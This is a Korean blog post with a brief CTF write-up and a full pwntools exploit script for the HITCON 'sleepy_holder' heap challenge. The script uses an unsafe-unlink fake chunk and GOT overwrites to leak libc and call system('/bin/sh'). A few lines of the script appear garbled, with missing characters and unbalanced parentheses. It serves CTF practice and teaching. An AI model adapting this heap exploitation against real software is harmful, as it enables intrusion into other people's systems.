ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • HITCON CTF sleepy_holder
    CTF 2017. 1. 11. 23:08

    sleepy_holder는 secret_holder랑 비슷한데 huge chunk를 한번할당할수있다.


    요약을 하자면 got를 덮되, free(small) 이렇게 wipe하기때문에 small의 포인터를 조작하고 free를 puts로해서 puts(got) 식으로 릭을 한다.


    unsafe_unlink로 fake chunk만들어서 하는 문제


    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    74
    from pwn import *
     
    = remote("10.211.55.3",11111)
     
     
    def keep(select,data):
        print p.recvuntil("3. Renew secret")
        p.sendline("1")
        print p.recvuntil("\n")
        p.sendline(str(select))
        print p.recvuntil("secret:")
        p.sendline(data)
     
    def wipe(select):
        print p.recvuntil("3. Renew secret")
        p.sendline("2")
        print p.recvuntil("secret")
        p.sendline(str(select))
     
    def renew(select,data):
        print p.recvuntil("3. Renew secret")
        p.sendline("3")
        print p.recvuntil("secret")
        p.sendline(str(select))
        print p.recvuntil("secret:")
        p.send(data)
     
    print p.recvuntil("Waking Sleepy Holder up ...")
     
    puts = 0x400760
    puts_got = 0x602020
    atoi_got = 0x602080
    free_got = 0x602018
    exit_got = 0x602088
    offset = 0x000000000039ea0
    keep(1,"A")
    keep(2,"B")
    wipe(1)
    keep(3,"A"*400)
    wipe(1)
     
    payload = p64(0)
    payload += p64(0x21)
    payload += p64(0x6020d0-24)
    payload += p64(0x6020d0-16)
    payload += p64(0x20)
    keep(1,payload)
    wipe(2)
     
    #leak libc free(atoi_got)
    renew(1,p64(0+ p64(free_got) + p64(atoi_got)*2 + p32(1+ p32(0)*2)
     
    payload = p64(puts)
    renew(2,payload)
     
    wipe(1)
     
    print p.recvuntil("2. Big secret")
    libc_leak = p.recv(4)
    libc_leak = u64(p.recv(6).ljust(8,'\x00'))
    log.info("atoi_libc: " + hex(libc_leak))
    image_base = libc_leak - offset
    one_shot = image_base + 0xE66BD
    libc_system = image_base + 0x46590
    binsh = image_base + 0x46483 
    log.info("libc_base: " + hex(image_base))
    log.info("libc_system: " + hex(libc_system))
     
    renew(2,p64(libc_system))
    keep(3,'a')
    wipe(2)
    keep(2,"/bin/sh")
    wipe(2)
    p.interactive()
    cs


    'CTF' 카테고리의 다른 글

    pwnable.tw unexploitable  (0) 2017.01.22
    TJCTF blag  (0) 2017.01.14
    H3X0R CTF train_busan  (4) 2017.01.10
    H3X0R CTF comment  (0) 2017.01.09
    H3X0R CTF ezheap  (1) 2017.01.08

    댓글

Designed by Tistory.